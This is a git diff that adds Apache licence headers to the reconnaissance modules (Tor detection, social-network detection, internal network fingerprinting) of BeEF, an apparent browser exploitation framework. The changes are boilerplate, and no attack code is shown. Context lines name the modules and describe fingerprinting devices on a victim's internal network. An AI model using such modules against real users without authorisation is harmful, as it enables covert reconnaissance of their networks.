+++ b/modules/recon/detect_soc_nets/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_soc_nets: diff --git a/modules/recon/detect_soc_nets/module.rb b/modules/recon/detect_soc_nets/module.rb index c9db50666..b2972e07d 100644 --- a/modules/recon/detect_soc_nets/module.rb +++ b/modules/recon/detect_soc_nets/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_soc_nets < BeEF::Core::Command def initialize diff --git a/modules/recon/detect_tor/command.js b/modules/recon/detect_tor/command.js index af7134d58..b360ba0ce 100644 --- a/modules/recon/detect_tor/command.js +++ b/modules/recon/detect_tor/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { if (document.getElementById('torimg')) { diff --git a/modules/recon/detect_tor/config.yaml b/modules/recon/detect_tor/config.yaml index 7a2ecb513..53883d476 100644 --- a/modules/recon/detect_tor/config.yaml +++ b/modules/recon/detect_tor/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_tor: diff --git a/modules/recon/detect_tor/module.rb b/modules/recon/detect_tor/module.rb index e2c0eff4c..feb255c1d 100644 --- a/modules/recon/detect_tor/module.rb +++ b/modules/recon/detect_tor/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_tor < BeEF::Core::Command def initialize diff --git a/modules/recon/internal_network_fingerprinting/command.js b/modules/recon/internal_network_fingerprinting/command.js index b765f3f42..43958c3c6 100644 --- a/modules/recon/internal_network_fingerprinting/command.js +++ b/modules/recon/internal_network_fingerprinting/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var dom = document.createElement('b'); diff --git a/modules/recon/internal_network_fingerprinting/config.yaml b/modules/recon/internal_network_fingerprinting/config.yaml index bedc47c43..8f0a3c1a4 100644 --- a/modules/recon/internal_network_fingerprinting/config.yaml +++ b/modules/recon/internal_network_fingerprinting/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: internal_network_fingerprinting: diff --git a/modules/recon/internal_network_fingerprinting/module.rb b/modules/recon/internal_network_fingerprinting/module.rb index a4de8dc26..893508926 100644 --- a/modules/recon/internal_network_fingerprinting/module.rb +++ b/modules/recon/internal_network_fingerprinting/module.rb @@ -1,4 +1,19 @@ # +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# # Internal Network Fingerprinting # Discover devices and applications in the internal network of the victim using # signatures like default logo images/favicons (partially based on the Yokoso idea).